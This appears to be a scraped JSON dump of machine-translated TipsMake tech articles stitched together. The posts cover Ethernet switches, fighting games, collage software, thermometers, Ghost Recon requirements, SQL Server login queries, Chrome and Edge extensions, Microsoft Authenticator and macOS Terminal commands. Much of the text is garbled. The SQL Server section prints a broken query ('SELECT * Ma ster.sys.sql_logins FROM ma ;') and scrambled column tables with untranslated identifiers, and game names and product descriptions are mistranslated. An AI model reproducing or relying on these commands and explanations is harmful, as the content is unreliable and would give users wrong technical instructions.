necessary for your operation.\n- Compact and stylish : This is not a switch for the company which is a switch family. So it's easy on the eyes. If you have to put it on a shelf in the living room and let everyone see it, the switch will still look fine.\nThe TP-Link 5-Port Fast Ethernet Switch is the most budget-friendly switch we've reviewed. It costs the equivalent of a small pizza and offers 5 Fast Ethernet ports for quickly adding new devices to your home network.\nThe downside is that there is no management option, so you won't want to use this switch for a corporate network. It also doesn't support Gigabit Ethernet, so gamers and hardcore streamers will want to buy a faster switch.\nThis is a switch for the home network. It is not designed for businesses and is not suitable for them. But if you are looking for an inexpensive way to add a few devices to your home network then it is a good option.\nAdvantages\nVery cheap Semi-duplex mode is available to support legacy equipment Energy saving mode so you only pay for what you use Defect\nOnly Fast Ethernet support - no Gigabit support Small buffer There is no management option 5. NETGEAR 16-Port Gigabit Ethernet Unmanaged Switch - The best 16-port Gigabit switch   Main features:\n- 16 Gigabit ports : It is difficult to find a high quality, high capacity switch at an affordable price. This switch supports more devices than you'll find in any other option in this price range.\n- Plug and play : Just plug in and use the switch. No need to mess around with settings or changing ports on your PC. Everything is ready for immediate use.\n- Supports duplex and half-duplex : This switch is designed for small businesses. You can upgrade your switches without upgrading your security cameras and POS systems.\nNETGEAR 16-Port Gigabit Ethernet Unmanaged Switch is specially designed for small businesses. It connects as many devices as possible without requiring you to participate in advanced network management or chain switches. The price is extremely reasonable for a switch this large.\nOn the other hand, this switch has some limitations. Buffer is very small, only 768KB. This makes it unsuitable for streaming or gaming, or for businesses that require a lot of media content. It also doesn't have any network management options, so larger companies will likely want to look for another option.\nIf you're looking for a high-power switch for your home or small business, look no further. This switch provides many connections for new and old devices.\nAdvantages\n16 Gigabit ports Full duplex and semi-duplex mode supported Just plug and play Good price for a 16-port Gigabit switch Hard metal shell Defect\nThere is no management option Supports minimum power over Ethernet - limited to 5 volts Buffer is only 768KB When many people buy an Ethernet switch, the first thing they consider is how many ports or brand it has made. These aren't unimportant, but they can overshadow many other features that the article has discussed. Others seem to put more emphasis on product certainty. Again, durability is important too, but unless you're in a war-prone area, your gear is very unlikely to fall or break.\nWe talked about the importance of such factors as speed, Auto-MDI / MDI-X connection, switch with or without management feature, full-duplex or semi-duplex mode support, buffer size and power requirements. Hopefully you will find yourself a suitable switch among the top 5 Ethernet switch options that TipsMake \u0026nbsp;has suggested.\nGood luck.\nTop 5 Best Ethernet Switch ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqmwMeeqaedpGLAuLXTnJ9mamBnfg%3D%3D\n","link":"/post/top-5-best-ethernet-switch-2021/","section":"post","tags":null,"title":"Top 5 Best Ethernet Switch 2021"},{"body":"With most franchises, re-releases, or sequels, it's hard to know where fighting games have come from. That's why we're going to recount the best fighting games of all time.\n1. Super Smash Bros. Ultimate   Super Smash Bros. is a game designed to be fun, allowing players to repeatedly 'break' the keys to attack opponents. Although the Smash Bros. It doesn't have the tight combos of other fighting games, but it's still a nuanced and fast-paced mind battle.\nThis is one of the best Switch games that blends perfectly with the console. Whether you're taking part in some online battles on the go or sitting next to your friends, Super Smash Bros. Ultimate is all about fun.\n2. Street Fighter DRAWING   Street Fighter has in the past been the most popular fighting game franchise, with the original game in 1987. Street Fighter V was released in mostly unfinished condition, but Capcom has improved it considerably so far. With new content, Street Fighter V is even more balanced and diverse than previous releases, reaching new heights for the series.\n3. Persona 4 Arena Ultimax   Persona 4 Arena Ultimax is the sequel to Persona 4 Arena, which was originally released exclusively in Japanese video games before being ported to PS3 and Xbox 360 games in 2014. In it, You can play as characters from Persona 3 and Persona 4, each with their own special Persona moves and abilities. Despite focusing more on combat than the main Persona installments, Arena Ultimate retains some aspects of the life simulation intact. Outside of battle, players can build social links that help them in battle.\n4. Dragon Ball FighterZ   Thankfully, FighterZ fits into the latter category, removing many of the RPG elements of previous Xenoverse titles in favor of a fierce fighting system.\nThe game takes place in the Dragon Ball Super timeline but is a side story of the main series. In it, you confront Android 21, a machine turned human by the Red Ribbon Army. After awakening Android 16 and using the Dragon Balls to bring back Nappa, Cell, Frieza, and the Ginyu Force, 21 developed a system that links human souls to machines.\n5. Injustice 2   If you don't know, Injustice is a fighting game based on the DC universe that lets you bring Batman, Superman, Joker, Wonder Woman, Aquaman, etc. into this superhero game. In addition to a roster of DC villains and heroes, Injustice 2 features warriors from other series, including Teenage Mutant Ninja Turtles, Hellboy, and Sub-Zero.\nCompared to the first installment in the series, Injustice 2 has a much more engaging single player mode. Following on from the events of the first game, Injustice 2 presents a confrontation between Batman and Superman, with Superman taking extreme measures to punish criminals.\n6. Mortal Kombat X   Like Injustice 2, Mortal Kombat X improves upon the game in every way, with increased visual fidelity, more characters, and more refined mechanics.\nMortal Kombat X has special X-Ray moves, slow-motion effects to help you feel better in attacks. X also allows you to interact with the environment like you can in Injustice, to expand the stage or use items to hit opponents.\n7. Skullgirls   The main factor for Skullgirls to become famous is its art style. It has a 'dark deco' style, a cartoonish style similar to Batman: The Animated Series. The design blends aspects of art deco, an early 1920s visual design often associated with the film adaptation of The Great Gatsby, with noir-style elements, creating a sense of darkness. but luxurious. With beautifully hand-drawn characters and mesmerizing finishing touches, Skullgirls is a game with great heart, with the developer's heart shown in every frame.\n8. Ultimate Marvel vs. Capcom 3   Ultimate Marvel vs. Capcom 3 is a re-release of Marvel vs. Capcom 3: Fate of Two Worlds, adds 12 new characters while keeping the core gameplay intact. Unlike the other games on this list, you have to choose a team of 3 warriors whenever you start a battle. Despite being one-on-one, you'll need to defeat all three gladiators on your opposing team to win the match.\n9. MUGEN   MUGEN's unique and unique structure has helped it score points in the gaming community. Released for Windows in 1999, MUGEN is a fighting game engine, not really a game. It gives you the basic background to fight and asks you for important details. You can add your own characters, graphics, and levels, essentially building a custom fighting game. If you don't have any programming knowledge, don't worry - MUGEN also has some built-in game modes.\nFighting games ncG1vNJzZmismaXArq3KnmWcp51kwbC8jJucrKxdm7aotNOipaBll5a6pr%2BMqJ1mmZyherW1zJ4%3D\n","link":"/post/top-best-fighting-games-of-all-time/","section":"post","tags":null,"title":"Top best fighting games of all time"},{"body":"Between so many choices and you are wondering which software to use on your computer effectively and professionally. So please refer to the following TipsMake article offline.\n1. PhotoScape X PhotoScape X deserves to be one of the hottest and best computer photo collage software available today, with the plus point of being easy to use and supporting many editing and collage options. Most notably, the software supports both automatic and manual photo stitching.\nIn manual or Collage Mode, users can stitch up to 11 photos in a frame. To get started, you can select the frame on the right-hand corner of the toolbar and start adding images. In addition, if you want you can also change or customize the size of the different frames as you wish, the image will automatically adjust the size.\n  The individual photo editing options include filter options, rotate and flip, zoom, and other basic photo editing options.\nIn auto stitching mode, Combine Mode, all you need to do is select and upload photos, the software will do the rest. You can choose from one of 3 image alignment options: vertical, horizontal or tile as well as options to resize images, columns, .\nPhotoScape X advantages:\n- Easy to use. - Support both manual and automatic photo stitching. - Does not contain ads like some other photo collage software.\nDefect:\nLarge file size for installation. - Limit the number of photos, maximum 11 photos.\nDownload PhotoScape X and install it here:\nPhotoScape X download link Link download PhotoScape X for Mac 2. PhotoPad PhotoPad is the perfect combination of photo editing and collage tools. Just click on the Collage option and a new window will appear on the screen, with options and tools that you can use to perform the stitching task.\n  There are 2 options for adding images, including: manually adding pictures by grid lines or automatically adding pictures by unlimited grid lines. Other photo editing options include selecting pre-made collage sizes, customizing spacing between pictures and angles, and especially drag and drop to reposition photos.\nAdvantages:\n- Install small file size, do not occupy many computer resources. - Unlimited number of images.\nDefect:\n- Does not support stickers, stickers. Few options for individual photo editing, less filters and effects.\nDownload PhotoPad to your device and install it here:\n3. Phototastic Collage True to its name, Phototastic Collage is designed to support the unique task of collage and editing. The free software version allows users to stitch up to 4 photos / frame.\nAmong the Phototastic Collage collage editing options, most notably the option to change the background image, shadow, change the frame and position of the photos. There are also options to add text and stickers, add effects, and crop each image individually.\n  Advantages :\n- Supports many collage editing options. - Diverse template warehouse. - User interface easy to use.\nDefect:\n- Contains advertising, which may cause users to feel annoyed and annoyed. - Support stitching up to 4 photos / frame.\nDownload Phototastic Collage to your device and install it here.\n4. Fotor In addition to an excellent photo editor, Fotor also has built-in options that allow users to stitch photos in a free, grid, and photo stitch format (stitching multiple photos into one large image, with sub-images overlapping). and supports joining up to 9 photos / frame.\nBesides, there are options to change the background color of the border to match the background color of the image. The photo size automatically changes to suit the pattern or frame you choose.\n  Fotor's only downside is the lack of border editing options, the size of each individual image.\nAdvantages:\n- Support for beautiful photo editor. - Easy to use, suitable for beginners.\nDefect:\nLack of individual photo editing options.\nDownload Fotor to your device and install it here:\n5. Collage Maker - Photo Grid \u0026amp; Montage Collage Maker - Photo Grid \u0026amp; Montage is the last photo collage software that Taimienphi.vn wants to recommend to you. Compared to other software, Collage Maker - Photo Grid \u0026amp; Montage interface is a bit different and a bit difficult to use.\nIn return, the software supports additional image preview display feature. This gives you an overview and makes the most relevant changes.\n  Some other outstanding features of Collage Maker - Photo Grid \u0026amp; Montage include the ability to add background images, text, stickers and change margins, size each image individually.\nAdvantages:\n- Support preview output collage file. - Supports Image Zoom option.\nDefect:\n- The interface is a bit difficult to use. - Does not support custom output collage size.\nDownload Collage Maker - Photo Grid \u0026amp; Montage to your computer and install it here.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKGmrayVqMFur86mp66slad6sbTOraZmm5%2BhuaKzxGaqqJ6krK6zsYxrZ2tp\n","link":"/post/top-hottest-computer-photo-collage-software-2021/","section":"post","tags":null,"title":"Top hottest computer photo collage software 2021"},{"body":"Easy to use, accurate, convenient - that's what people describe about infrared thermometers.So what is this device, how does it work?What type of infrared thermometer is good to use?Let's find out with TipsMake.com!\ncontent What is an infrared thermometer? How does the principle work? What type of infrared thermometer is best to buy? Microlife FR1MF1 infrared thermometer forehead gauge Microlife FR 1DZ1 forehead infrared thermometer Polygreen KI-8280 infrared thermometer Omron TH839S infrared thermometer Laica SA5900 multifunctional infrared thermometer  What is an infrared thermometer? How does the principle work? Infrared thermometer is one of the most popular electronic thermometers today.\nThis device is equipped with infrared radiation technology to measure temperature.In fact, infrared technology is no longer strange.It is used in many different areas, not just for manufacturing thermometers.\nNormally, objects with temperatures above -273 degrees Celsius emit infrared heat radiation, the human body is a typical example.When placed near the body, the infrared sensor on the thermometer measures the energy level then calculates and displays the results on the LCD screen.\nCompared to other conventional thermometers, infrared thermometers are rated higher by outstanding features such as:\nUse is easy High precision The temperature can be measured without direct contact with the object Easily measure the temperature of large objects, or moving objects.   Infrared thermometer with outstanding advantages\nWhat type of infrared thermometer is best to buy? Equipping an infrared thermometer for home use is essential to support your health care for the whole family.So which type of infrared thermometer is best to buy today?\nMicrolife FR1MF1 infrared thermometer forehead gauge Microlife FR1MF1owns luxurious, compact design, very convenient for storage or carrying when traveling.The thermometer works with 2 AA batteries.The function buttons are scientifically arranged, the sharp LCD screen can display parameters clearly.Intelligent frontal infrared thermal sensing technology allows the Microlife FR1MF1 thermometer to measure temperature without a direct station.It returns fast and accurate results in 1 second with very small errors of only 0.2 degrees C. In addition to measuring the body temperature at the measurement position is boring, you can use this device to measure the bath water temperature , milk bottle temperature, room temperature, food temperature, . Reference price: VND 630,000.\n  Microlife FR1MF1 infrared thermometer forehead gauge\nMicrolife FR 1DZ1 forehead infrared thermometer Microlife FR 1DZ1 infrared thermometercan measure anyone's body temperature without directly contacting them.Measurement results are quickly displayed on the LCD screen in less than 2 seconds with high accuracy.In particular, Microlife FR 1DZ1 has a function to alert the fever for 10 continuous fast beeps.If the temperature is higher than 37.5oC, the screen will turn red.The thermometer's memory can store 30 measurements, helping users to monitor body temperature comparisons over different time periods.Microlife FR 1DZ1 is suitable for measuring body temperature and measuring body temperature such as milk bottle, bath water for children, room temperature, . Reference price: 610,000 VND.\n  Microlife FR 1DZ1 forehead infrared thermometer\nPolygreen KI-8280 infrared thermometer The Polygreen KI-8280 thermometerpossesses a unique transducer structure combined with an advanced infrared sensor that measures temperature rapidly, returning results in just 1 - 3 seconds, almost perfect accuracy. for after only 0.2 degrees.The product is made from high quality plastic, meeting the standards such as ISO 13485, EN 12470-3, IEC60601-1, ASTM E 11965-98, so it is very safe for users, especially infants and young children. small.Not only that, the thermometer also has a warning function when the patient shows signs of fever (from 37.5 degrees Celsius).After 60 seconds of inactivity the temperature will turn off to save energy.Polygreen KI-8280 can store the results of 10 measurements so that users can easily follow and compare.Reference price: 550,000 VND.\n  Polygreen KI-8280 infrared thermometer\nOmron TH839S infrared thermometer Omron TH839S thermometerowns compact design, easy to carry anywhere, anytime.The device can display extremely fast and accurate results in just 1 second.Not only that, it also has a signal when a fever, warning users to handle promptly.With a large capacity battery, Omron TH839S can perform about 2500 measurements and save the results of 9 consecutive measurements.Omron TH839S thermometer set includes: 1 battery, 1 probe cover, 21 probe cover and 1 user manual.Reference price: 690,000 VND.\n  Omron TH839S infrared thermometer\nLaica SA5900 multifunctional infrared thermometer Laica SA5900can measure many objects' temperatures such as measuring body temperature, liquid temperature and measuring room temperature.Infrared sensor with high durability, helps the device to measure temperature quickly and accurately without direct contact (measuring time of 1 second, error of ± 0.2oC).Laica SA5900 will produce short sounds when measuring results and automatically turn off after 1 minute of inactivity to save battery.Color screen allows users to read the measurement results at night.The system of function keys is designed to be simple and easy to use.Large capacity memory, can store up to 32 results.Reference price: 690,000 VND.\n  Laica SA5900 multifunctional infrared thermometer\nWhat type of infrared thermometer is good ?Have you found the right product for you?Visit META.vn for advice and order quality and cheap infrared thermometers.\n\u0026gt;\u0026gt;\u0026gt; More references:\nTop 2-in-1 thermometer - Measure body temperature, measure bath temperature, drink milk for your baby Evaluate 4 best baby temperature gauges today ncG1vNJzZmismaXArq3KnmWcp51kxKmt02arsqiVYrynecinnauZopqxbsDHnqmmp52awaa%2BjKKqZp%2BfpLE%3D\n","link":"/post/what-type-of-infrared-thermometer-is-good/","section":"post","tags":null,"title":"What type of infrared thermometer is good?"},{"body":"Windows 10 S is expected to bring a safer and more stable computing experience for Windows users. However, they will have to sacrifice some popular and very powerful applications like the Google Chrome browser.\nAt Citrix Synergy in Orlando, the company announced the launch of Citrix Receiver for Windows, which, according to its description, \"opens the door for Win32 applications running on Windows 10 S\". This Windows Store application will allow businesses with Windows 10 S computers to use Win32 applications (or environments) when they can't get to the Windows Store, such as Google's Chrome browser.\n  Citrix Receiver application interface\nCitrix Receiver connects with XenApp and XenDesktop, where you can use the TLS 1.2 or lower protocol. There is also the option to use the SecureICA protocol to connect if you use the old XenApp versions.\nAs an UWP application, the application can run on devices such as Windows Phone, HoloLens, Surface Hub and support Continuum for mobile devices. It also supports touch, zoom, drag and drop operations.\nncG1vNJzZmismaXArq3KnmWcp51ksKrA0aKvZqGjYnKGfoRxZ15wclqSc3GXaVxxeqKarqXFjK2mZqilqXqou86go55lk52%2FsLnEZqanZaeeu6W71qxkamhdqA%3D%3D\n","link":"/post/citrix-is-ready-to-put-google-chrome-on-windows-10-s/","section":"post","tags":null,"title":"Citrix is ​​ready to put Google Chrome on Windows 10 S"},{"body":"Tom Clancy's Ghost Recon game: Breakpoint recently leaked right before the official announcement worldwide. A photo of the Wolves Collector's Edition version that appeared online revealed the game's content.\nAnd then Ubisoft decided to unveil the veil of secret, launching the first official video trailer of Ghost Recon: Breakpoint with the basic content and gameplay of the game. There is also information confirming that the official launch date will be October 4, 2019. So the story content and how to configure Ghost Recon: Breakpoint, please refer to the content below.\nPUBG Mobile player configuration on latest phones and computers How to download the New Grand Master VNG on the computer Configuring Seriko Shadows Die Twice on computer, laptop Configure PlayerUnknown's Battlegrounds on the computer Introducing Tom Clancy Ghost Recon: Breakpoint Ghost Recon gameplay and gameplay: Breakpoint Ghost Recon: Breakpoint is set in a fictional archipelago on the Pacific coast called Auroa and is owned by Jace Skell. CEO of Skell Technology private corporation. This is a corporation specializing in unmanned devices and artificial intelligence.\nGhost Recon: Breakpoint will be a sequel to the Ghost Recon game: Wildlands launched in 2015, allowing up to 4 co-op players together, the gameplay is still a secret action throughout the open world. game\n  In addition, there will be new features, including survival factors and new dialogue options. Along with a wide range of characters, many more . There is also a Raid system in Ghost Recon: Breakpoint, this is the first time this system has appeared in this brand.\n  The element of attention in Ghost Recon: Breakpoint is that the game will have many ending. Currently, the creative director of Ghost Recon, Eric Couzian, has not yet confirmed the number of endings in the game, but he only revealed that there is not only one ending in the game.\n  Ubisoft has also released a gameplay video enough for players to have a clearer view of the new features that will be available in the game. The video emphasizes the action elements in the game, when the player is running away from the enemy's sweep, which is when the new features and mechanisms first appear.\nConfiguration to play Ghost Recon: Breakpoint With a level of graphics that is considered to be quite realistic, Ghost Recon: Breakpoint will have an uneasy configuration requirement for PC gamers. Below is the configuration of Ghost Recon: Breakpoint\n  Minimum configuration to play Ghost Recon: Breakpoint on the computer\nProcessor: Intel Core i5-4670 or AMD FX-8120 RAM memory: 6 GB Operating system: Windows 7 SP1, Windows 8.1, Windows 10 (64-bit) Graphics card: NVIDIA GeForce GTX 960 or AMD Radeon R7 265 (2GB VRAM with Shader Model 5.0 or better) PIXEL SHADER: 5.0 VERTEX SHADER: 5.0 Required VRAM: 2048 MB Configured request Ghost Recon: Breakpoint on the computer\n  Processor: Intel Core i7-6770 or AMD Ryzen 7 1700 RAM memory: 8 GB Operating system: Windows 7 SP1, Windows 8.1, Windows 10 (64-bit) Graphics card: NVIDIA GeForce GTX970 / GTX 1060 or AMD R9 290X / R9 390 / RX480 (4GB VRAM with Shader Model 5.0 or better) PIXEL SHADER: 5.1 VERTEX SHADER: 5.1 VRAM: 4096 MB Above are some pictures and original information about the storyline, gameplay and configuration playing Ghost Recon: Breakpoint. If you are a fan of the Tom Clancy's brand, then surely you can't ignore it.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYr2trdhmq6ilXZi5orrCsqpmn5ikwLV50Z6aqKZdl7%2BmrcqppqKmpA%3D%3D\n","link":"/post/configure-play-tom-clancy-s-ghost-recon-breakpoint/","section":"post","tags":null,"title":"Configure play Tom Clancy's Ghost Recon: Breakpoint"},{"body":"Are there any queries in SQL Server that return all login accounts and information about them? On SQL Server there is a virtual catalog table (a VIEW, or system table) called sys.sql_logins. You can run the above query and the results will return all Login created in SQL Server with information about them.\nTo retrieve all login accounts in SQL Server, run the following command.\n SELECT  * Ma ster.sys.sql_logins FROM ma ;  VIEW sys.sql_logins includes the columns below\nColumn Explanation of ten This is ten_dangnhap specified in the CREATE LOGIN command id_uynhem Number value giatri_duynhat The unique value specified in the CREATE LOGIN command type Proxy type:\nS = SQL Server user U = Windows users G = Windows group A = application rights R = database permissions C = authentication is mapped K = asymmetric key is mapped type_desc Description for proxy types:\nSQL_USER WINDOWS_USER WINDOWS_GROUP APPLICATION_ROLE DATABASE_ROLE CERTIFICATE_MAPPED_USER ASSYMETRIC_KEY_MAPPED_USER vohieu 0 or 1 immediately o Date / time to create a Login with the CREATE LOGIN command at the moment of the last Login date / time with the command ALTER LOGIN ten_cosodulieu_macdinh This is the default database in the CREATE LOGIN or ALTER LOGIN command. in the CREATE LOGIN or ALTER LOGIN command id_chungthuc This is the certificate used in the CREATE LOGIN or ALTER LOGIN command, 0 or 1, specified in the CREATE LOGIN or ALTER LOGIN command to initiate 0 or 1, specified in the CREATE LOGIN or ALTER command LOGIN makhau_bam Hash value of the password Compatible in older versions In older SQL Server versions, you can get all Login information using the SQL Server 2000 system table like sys.syslogins, using the command below.\n SELECT * FROM master.s ys.syslogins;  The system table sys.syslogins (SQL Server 2000) contains the following columns.\nColumn Explanation giatri_duynhat The unique value specified in the CREATE LOGIN page command does not apply immediately The Date / Time created Login with the CREATE LOGIN command immediately snapnhat Last login date / time with the command ALTER LOGIN accdate Not used totcpu No apply totio Not apply spacelimit Not applicable timelimit Not apply resultlimit Not apply ten This is ten_dangnhap specified in the CREATE LOGIN command. tendb The default database is the default language 0 or 1 default 0 or 1 number 0 or 1 number 0 or 1 number 0 or 1 admins 0 or 1 admin or 0 adminset 0 or 1 admin 0 or 1 adminodia 0 or 1 nguoitaodb 0 or 1 adminbulk 0 or 1 tendangnhap This is ten_dangnhap specified in the CREATE LOGIN command. Previous article: DROP LOGIN command in SQL Server\nThe following article: CREATE USER command in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ks6q6w2ajqJ%2BZo3qquoysqKVlo5q%2Ft7HR\n","link":"/post/find-login-in-sql-server/","section":"post","tags":null,"title":"Find Login in SQL Server"},{"body":"Clearing browsing history on Chrome, deleting browsing data on browsers is essential to help the browser accelerate. On Microsoft Edge browser will automatically delete the history when the user exits the browser, or in Firefox can also delete the history after exiting the browser. And if users want to use this feature on Chrome, you can install the Clean Master utility.\nWith the Clean Master utility, users can select the components on the Chrome browser that they want to delete, or set to automatically delete all data. The following article will guide you how to use the Clean Master utility on Chrome.\nAutomatically delete Cookies when exiting Google Chrome browser Instructions on how to delete URLs automatically suggested in Chrome browser How to schedule automatic file deletion in the folder Download Windows 10 Instructions for deleting Chrome web data automatically Step 1:\nUsers install the Clean Master utility on Chrome according to the link below\nDownload the Clean Master Chrome utility   Step 2:\nAfter installing the utility click on the icon at the end of the address bar on the browser. Click on Time to select the history time you want to delete.\n  This will display the time period for users to choose to delete browsing history and browsing data. Finally press the Clean button to delete the set content.\n  Step 3:\nClick Advanced Options to reset the content and components you want to delete.\n  Step 4:\nIn the new interface look to the Data to Remove section, check or uncheck the content you want to delete or do not want to delete. Yes, click Select All to select the entire content. Utility that supports deleting content including:\nApplication Cache: Clear the web cache. Cached Images and Files: Delete browser cache. Cookies: Delete browser cookies modified in a specific time frame. Download History: Delete the list of downloaded files. Website File Systems: Delete site file system data. Autofill form Data: Delete form data stored in the browser. Browsing History: Delete browsing history. IndexedDB Data: Delete indexed website data. Local Storage Data: Clear the local web history. Plugin Data: Delete the plugin's stored data. Saved Passwords: Delete the password stored in the browser. Web SQL Data: Delete SQL Web data.   Step 5:\nTo automatically delete all data when closing Chrome browser, select Close the browser automatically clean up in Automatic Clean section.\n  Some of the remaining content you can use include:\nClose other tabs before cleaning: Close all tabs inactive (except the current tab) when cleaning. Allow clearing of fixed tabs: Close all inactive tabs (including tabs) when cleaning. Perform cleanup when clicking the icon: Clean up as soon as you click the Clean Master icon on the toolbar.   Clean Master utility cleans up data on Chrome and has some additional features such as auto-exit browser, or tab options on Chrome. We can customize the content that we want to clean up on the browser through the utility.\nSee more:\nHow to completely delete data on the computer? How to delete a site's cookies on Firefox How to delete cookies on Chrome with each website I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmlqbyurdOimpqknK56pbHLnqueZZOdv7C5xGabmqyRYsSqwMdmmqWdkaN6rq3SrZyr\n","link":"/post/how-to-automatically-delete-chrome-data-with-clean-master/","section":"post","tags":null,"title":"How to automatically delete Chrome data with Clean Master"},{"body":"Each browser has its own set of add-on utilities to add new features to the browser that are not available. Besides, there are also many tools to help users install add-ons from one browser to another, such as installing Opera on Chrome or installing Chrome on Firefox. And in this article, readers will know how to install the Opera utility on the Edge Chromium browser.\nBecause both Opera and Edge Chromium use the Chromium platform, these two browsers can install Chrome extensions and vice versa. So for those who are using Edge Chromium will have more utility options to expand the browser features.\nHow to install Vietnamese for Microsoft Edge Chromium How to activate the new extension menu in Microsoft Edge How to turn on Dark Mode for Edge Chromium browser How to change the search engine on Microsoft Edge Chromium Instructions to install Opera add-on on Edge Chromium Step 1:\nWe will first install the Chameleon extension on the Chrome Web Store on the Edge Chromium by following the link below.\nDownload the Chameleon utility for Chromium Edge   If you do not install this extension, you need to agree to allow Edge Chromium to install Chrome browser extensions. Read the article to enable the How to install the Google Chrome extension on the new Microsoft Edge.\n  Step 2:\nAfter installing the utility, users access the home page of Opera utility by following the link below and search for the utility that they want to install for the Edge Chromium browser.\nVisit the Opera addons homepage In the utility information interface, click Add to Chameleon to install.\n  Step 3:\nWait for the process of installing the add-on on the browser, and when the installation is completed we will see the Installed message as shown below.\n  At the same time, the installed utility icon replaces the Chameleon icon at the bottom of the address bar on the Edge Chromium browser.\n  Step 4:\nIf the user wants to uninstall the utility , right-click on the icon and select Extensions options .\n  Now show the interface for you to check the latest version of the utility at Check update and remove the utility at Remove extension .\n  So through Chameleon utility, we can install Opera utility on Edge Chromium browser. However, users should note that during use, there will be errors Chameleon utility does not work, you just need to restart the utility.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6GdXaS9pr7AZpyxrJWjwKq7zWamp2WVmbSmecKhqailmaq6\n","link":"/post/how-to-install-the-opera-extension-on-edge-chromium/","section":"post","tags":null,"title":"How to install the Opera extension on Edge Chromium"},{"body":"Coolmath4Kid is a Math learning website belonging to Coolmath! for children under 10 years old writing in HTML5 language, through a new way of learning that is to use Maths game. Coolmath4Kids provides a very unique, non-arid Math learning space, thereby helping children easier to acquire knowledge and practice Math exercises. It can be seen that the criterion of Coolmath4Kids is to learn to play, to learn and to learn, each mini game will be different problems. Besides, the website also offers many topics in Math, such as lessons on addition, multiplication . so that each family can choose lessons suitable for the age of the children. The following article will introduce you to the Coolmath4Kids learning website for kids.\nGuide to learn Math on Coolmath4Kids Step 1:\nWe access the link below to go to the homepage of Coolmath4Kids.\nhttps://www.coolmath4kids.com/ The first is the Maths game section with games with many different topics and is integrated with Math problems for each age.\n  Step 2:\nEach game will have instructions and parents firstly guide your child to get used to it. Games can be played with a mouse or keyboard (on a PC) or with a finger (on a smartphone touch screen). Press the Play button to start playing.\nFor example, the game below, please fire the cannon at the correct calculation with the same results as the number displayed on the baby gun. Below are the times and scores for each correct calculation.\n  Step 3:\nThe Topics are exercises for different calculations, including addition, subtraction, and percentage.\n  Step 4:\nFinally , more advanced Brain Testers to test your baby's brain and IQ.\nOverall, Coolmath4Kids is easy to learn, classified by age. Parents can work together with their children to help them answer questions, or play games in the Maths Game section.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSVlr%2Bvecyaq6Fln6N6pLvOpaSarJhpuKqw0madqKpdoLalvw%3D%3D\n","link":"/post/how-to-learn-math-on-coolmath4kids-for-kids/","section":"post","tags":null,"title":"How to learn Math on Coolmath4Kids for kids"},{"body":"For those who regularly use Microsoft services like OneDrive, or download Store apps, owning personal accounts is essential. And now, you can easily log into your Microsoft account right on your phone without using a password, through the Microsoft Authenticator application. This helps us to keep our personal information more secure when working in public, not worrying about others seeing our password. In the following article, we will show you how to use the Microsoft Authenticator application, login to a Microsoft account without a password.\nHow to login to Microsoft using the Authenticator application Step 1: First of all, we will download the Microsoft Authenticator application according to the link below.\nDownload Microsoft Authenticator for iOS Download the Android Microsoft Authenticator Step 2: After downloading the application to the device, we proceed to launch. At the first interface, Microsoft Authenticator will ask users if they want to receive notifications , click Allow . Next, readers click the Add account button or click the plus icon in the top right corner to enter Microsoft account.\n   Step 3: The application will ask users who want to add accounts, Personal Accounts, Work or school accounts and other Accounts. Here I will choose Personal account . You enter your personal Microsoft account and then click Login .\n   Step 4: We wait a few seconds for Microsoft Authenticator to confirm your personal account. Next, the application will send the security code to you via the email address registered with Microsoft account.Enter the email address below and click Submit code to receive the security code.\nNext, open the email address and receive the security code sent. Users will enter that code into the interface of the Microsoft Authenticator application, then click Submit .\n    Step 5: You will then be transferred to the interface that requires setting up a phone access password or Touch ID , to use the Microsoft account login feature with the application.\nIf in case of not opening the password, we need to proceed in the Settings section of the machine. Soon you will come to the personal Microsoft account interface that comes with the activation code. We can click on the drop-down arrow icon and select Copy code .\n    Step 6: Now try logging in to your Microsoft account. We enter the login email address and then click Next .\n  Step 7: Then at the password entry interface for the account, you will see an option Use the Microsoft Authenticator application to replace it (Use the Microsoft Authenticator app instead). Users will click on that option.\n  Step 8: Soon, you will receive a Approval for login from Microsoft Authenticator application on your phone. We click Accept . After that, users will need to enter the phone access password for Microsoft Authenticator to be able to log in to their Microsoft account.\n   When you enter the correct password, we will successfully login to the Microsoft account, without entering the Microsoft account password as usual.\nThe above is one of the Microsoft account security methods, using the Microsoft Authenticator application. We will be able to login to a Microsoft account right on the phone without entering a personal account password, in case your password is accidentally seen by others.\nRefer to the following articles: The fastest Microsoft account setup guide Instructions to transfer Microsoft account to Local account on Windows 10 / 8.1 Instructions for securing 2 layers of Facebook by phone number ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnLavedOoZJplnZ6ws7vSqJ2tZZGYsLDBza1ksKGknby2wIyaZKmZo6jEsL7D\n","link":"/post/how-to-login-to-a-microsoft-account-without-a-password/","section":"post","tags":null,"title":"How to login to a Microsoft account without a password"},{"body":"The most common and basic way to open any folder in macOS is to go to Finder and navigate to its specific location on your hard drive.\nThere's also another way you can open whatever folder you want on your Mac: using Terminal.\nAdmittedly, accessing folders using Terminal is more complicated than navigating in Finder. So why spend more effort doing the same job? There are a few key benefits to using Terminal to open folders - things the Finder can't offer - at least in some specific situations.\nHow to open a folder from Terminal To get started, open Terminal by navigating to the ' Application -\u0026gt; Utilities ' folder , or by typing 'Terminal' in Spotlight.\n  After the Terminal opens, you should basically be able to open any folder from the Mac Terminal using specific commands. The general syntax is as follows:\nopen /đường dẫn/đến/thư mục/ For example, to open the Pictures folder, you would use the following command:\nopen /Users/tênngườidùng/Pictures This command will open the Pictures folder in a Finder window. You can then use it to access the files contained in the folder.\n  There are also a bunch of other short commands you can use to access specific directories. For example:\nTo open the Root folder, use the command:\nopen / For your Home folder (i.e. the folder containing Desktop, Documents, and other user-specific folders), type:\nopen ~ To open the current working folder in Finder, use the command:\nopen .   Alternatively, you can also launch and update Mac apps from the Terminal without using Finder. For example, to open Safari, type:\nopen /Applications/Safari.app You can of course replace Safari with any app on your system as long as you know its corresponding filename.\nOpen a folder in Terminal from the Shortcut Menu Maybe you want to 'reverse the situation' and open a Finder folder in Terminal. In other words, make it your current working directory. This can be done by adding a shortcut that will appear when you right click.\nNavigate to System ' Preferences -\u0026gt; 